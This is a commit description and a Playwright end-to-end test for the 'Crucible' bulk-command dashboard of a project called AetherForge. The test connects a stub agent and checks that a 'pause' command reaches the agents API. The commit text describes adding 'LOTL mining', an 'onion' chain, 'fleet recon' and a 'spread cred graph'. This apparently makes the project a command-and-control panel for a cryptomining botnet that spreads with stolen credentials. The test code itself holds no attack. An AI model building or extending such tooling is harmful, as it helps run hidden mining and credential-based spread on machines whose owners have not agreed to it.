Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

server/web/e2e/crucible-bulk.spec.ts

@@ -0,0 +1,71 @@
+import { expect, test } from '@playwright/test';
+import { fetchFleetSecret, loginToDashboard } from './fixtures';
+import {
+  connectStubAgent,
+  E2E_STUB_AGENT_HOSTNAME,
+  E2E_STUB_AGENT_ID,
+} from './stub-agent';
+
+const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
+
+let serverReady = false;
+let disconnectStub: (() => void) | null = null;
+
+test.describe('Crucible bulk command', () => {
+  test.beforeAll(async ({ request }) => {
+    try {
+      const res = await request.get('/api/v1/health', { timeout: 5_000 });
+      serverReady = res.ok();
+    } catch {
+      serverReady = false;
+    }
+    if (!serverReady) return;
+
+    const fleetSecret = await fetchFleetSecret(request);
+    disconnectStub = await connectStubAgent(baseURL, fleetSecret);
+    // Allow agent_online + DB upsert to settle before UI tests.
+    await new Promise((r) => setTimeout(r, 500));
+  });
+
+  test.afterAll(() => {
+    disconnectStub?.();
+    disconnectStub = null;
+  });
+
+  test.beforeEach(async ({ page }) => {
+    test.skip(
+      !serverReady,
+      'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
+    );
+    await loginToDashboard(page);
+    await page.getByRole('link', { name: /Crucible/i }).click();
+    await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
+    await expect(
+      page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }),
+    ).toBeVisible({ timeout: 15_000 });
+  });
+
+  test('bulk pause on selected online node fires POST bulk-command', async ({ page }) => {
+    const card = page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME });
+    await expect(card.locator('.cn-status-dot.on')).toBeVisible({ timeout: 15_000 });
+    await card.click();
+    await expect(page.getByText(/1 selected/)).toBeVisible();
+    await expect(page.getByText(new RegExp(`→ 1 node.*${E2E_STUB_AGENT_HOSTNAME}`))).toBeVisible();
+
+    const bulkRequest = page.waitForRequest(
+      (req) =>
+        req.method() === 'POST' && req.url().includes('/api/v1/agents/bulk-command'),
+    );
+
+    await page
+      .locator('.crucible-actions-card')
+      .getByRole('button', { name: 'Pause', exact: true })
+      .click();
+
+    const request = await bulkRequest;
+    expect(request.postDataJSON()).toEqual({
+      agent_ids: [E2E_STUB_AGENT_ID],
+      action: 'pause',
+    });
+  });
+});